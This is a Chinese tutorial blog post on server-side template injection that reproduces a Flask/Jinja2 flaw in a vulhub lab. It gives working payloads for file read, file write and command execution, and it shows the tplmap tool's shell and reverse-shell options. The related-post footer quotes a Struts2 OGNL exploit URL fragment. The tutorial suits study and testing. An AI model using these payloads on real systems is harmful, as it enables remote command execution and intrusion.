SSTI完全学习[通俗易懂]

一、什么是SSTISSTI就是服务器端模板注入(Server-SideTemplateInjection),也给出了一个注入的概念。常见的注入有:SQL注入,XSS注入,XPATH注入,XML注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。sql注入是从用户获…

大家好,又见面了,我是你们的朋友全栈君。

一、什么是SSTI

SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

现在网上提起的比较多的是Python的网站。

二、谈谈模板引擎

百度百科的定义:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

三、回到SSTI

1、简单例子

先给出下面这个例子,以便理解:

$output = $twig->render("Hello { 
   {name}}", array("name" => $_GET["name"])); 
echo $output;

当然在渲染过程中会有很多不一样的处理,这个是比较简单的一个,对于现在的SSTI在后端处理的时候也会有许多的过滤。

总之,ssti就是这么个道理,就像sql注入中你用id=-1’ union select database()可以拿到数据库一样,当然在漏洞利用上还是有很多的技巧,也会有绕过的技巧的。

2、Flask(Jinja2) 服务端模板注入漏洞复现

ctf中比较常见的还是python站的SSTI,下面用vulhub上的一个环境来复现Flask的SSTI漏洞,展示一下流程

1)docker环境搭建
docker-compose up -d    
2)注入检测

访问http://192.168.1.10:8000/
[外链图片转存失败(img-WSzM3J8q-1563519679126)(en-resource://database/739:1)]

传参?name={
{7*8}},可以得到:
在这里插入图片描述
传参?name={
{7*8}},可以得到:
在这里插入图片描述

说明存在SSTI漏洞

3)漏洞利用

官方的漏洞利用方法:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {
  
  { b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

把上面这一串当做name参数传递即可实现命令执行:

http://192.168.1.10:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}%20{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20{
  
  {%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}%20{%%20endif%20%}%20{%%20endif%20%}%20{%%20endfor%20%}%20{%%20endif%20%}%20{%%20endfor%20%}

结果如下:
在这里插入图片描述

看到id命令成功执行

四、关于SSTI的python类的知识

很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。

面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。

首先进入python—命令行输入python进入这样的界面:
在这里插入图片描述
进行以下输入:

>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> { 
   }.__class__
<type 'dict'>

__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> { 
   }.__class__.__bases__
(<type 'object'>,)

>>> [].__class__.__bases__[0]
<type 'object'>

__bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值

>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

__subclasses__():查看当前类的子类。

当然我们也可以直接用object.__subclasses__(),会得到和上面一样的结果。
获取基类还能用还有__mro__,比如:

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> { 
}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> ().__class__.__mro__[1]            //使用索引就能获取基类了
<class 'object'>

这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类,更多的方法大家可以去发现和搜集。

五、一些常用的方法

//获取基本类
''.__class__.__mro__[1]
{ 
}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

上面漏洞复现时候的payload也是很强了,用类于编程的方式来展现,不用再一个个去查索引了:

{ 
% for c in [].__class__.__base__.__subclasses__() %}
{ 
% if c.__name__ == 'catch_warnings' %}
{ 
% for b in c.__init__.__globals__.values() %}
{ 
% if b.__class__ == { 
}.__class__ %}
{ 
% if 'eval' in b.keys() %}
{ 
{ 
 b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令
{ 
% endif %}
{ 
% endif %}
{ 
% endfor %}
{ 
% endif %}
{ 
% endfor %}

有的时候还是需要绕过和沙箱逃逸才能实现SSTI的。

六、SSTI神器–Tplmap

先给出下载地址:https://github.com/epinna/tplmap
需要环境:PyYaml

pip install PyYaml

1、简单使用

以上面复现的漏洞为例简单介绍一下用法:

root@kali:/mnt/hgfs/共享文件夹/tplmap-master# python tplmap.py -u "http://192.168.1.10:8000/?name=Sea" //判断是否是注入点
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{ 
{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{ 
{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{ 
{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name                //说明可以注入,同时给出了详细信息
Engine: Jinja2
Injection: { 
{ 
*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok           //检验出这些利用方法对于目标环境是否可用
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
//可以利用下面这些参数进行进一步的操作
--os-shell				Run shell on the target
--os-cmd				Execute shell commands
--bind-shell PORT			Connect to a shell bind to a target port
--reverse-shell HOST PORT	Send a shell back to the attacker's port
--upload LOCAL REMOTE	Upload files to the server
--download REMOTE LOCAL	Download remote files

拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利

//获取更多参数信息,要善于利用帮助信息来学习
python tplmap.py -h

2、Nunjucks模板引擎沙箱逃逸

python tplmap.py -u http://792.168.1.10:8000/?name=* --engine Nunjucks --os-shell

具体详情参考:https://www.anquanke.com/post/id/84336

3、使用训练

tplmap项目中附带有docker环境,可供学习和熟悉tplmap:
https://github.com/epinna/tplmap/tree/master/docker-envs

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/125236.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(1)
blank

相关推荐

  • Updating indexes

    Updating indexesUpdatingindexesUpdatingindexes是Maven在下载更新,解决办法如下:Window–>Preferences–>MyeclipseEnterpriseWorkbench–>Maven4Myeclipse–>Maven–>去除Downloadrepositoryindexupdatesons…

    2022年10月31日
  • Struts2漏洞分析「建议收藏」

    Struts2漏洞分析「建议收藏」当在浏览器输入如下地址时:      http://www.xxxx.com/aaa.action?(‘\u0023_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true&(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)

  • 提取pfx证书密钥对

    提取pfx证书密钥对两个测试证书test.pfx和test.cer.其中pfx证书包含RSA的公钥和密钥;cer证书用于提取pfx证书中密钥时允许当前电脑进行合法操作提取步骤如下:点击test.cer,安装cer证书2.从pfx提取密钥信息,并转换为key格式(pfx使用pkcs12模式补足)(1)提取密钥对opensslpkcs12-intest.pfx-nocerts-nodes-outtest.key//如果pfx证书已加密,会提示输入密码。如果cer证书没有安装

  • 浅谈增强学习

    浅谈增强学习这篇文章就是浅谈一下机器学习领域下的增强学习。为什么博文的题目为浅谈,因为笔者对机器学习的认知比较浅。我分享一个Q算法的C++代码,该例子体现了如何用Q算法学习迷宫寻路。读者可参考我上一篇转载博文给出的例子进行学习。

    2022年10月27日
  • linux的vi命令详解_centos7 vi命令

    linux的vi命令详解_centos7 vi命令Linux命令-vi命令  vi编辑器是所有Unix及Linux系统下标准的编辑器,它的强大不逊色于任何最新的文本编辑器.由于对Unix及Linux系统的任何版本,vi编辑器是完全相同的,因此您可以在其他任何介绍vi的地方进一步了解它。Vi也是Linux中最基本的文本编辑器.。1.语法:vi[参数][文件名称]…2.功能:  编辑文件。3.参数:n打印最近的n条历史命令。-N显示历史记录中最近的N个记录。-c清空当前历史命令。-a将目前新增的历史

  • 在eclipse中建立java项目

    在eclipse中建立java项目 注意:安装前必备环境:安装eclipse之前必须安装JDK环境。安装方法主要有:下载JDK,安装JDK,配置JDK的环境变量,测设JDK是否安装好。具体步骤详见博文: java开发环境搭建 使用eclipse从头一步步创建java项目1.下载eclipse官网地址:http://www.eclipse.org/downloads/下载EclipseIDEforJava…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号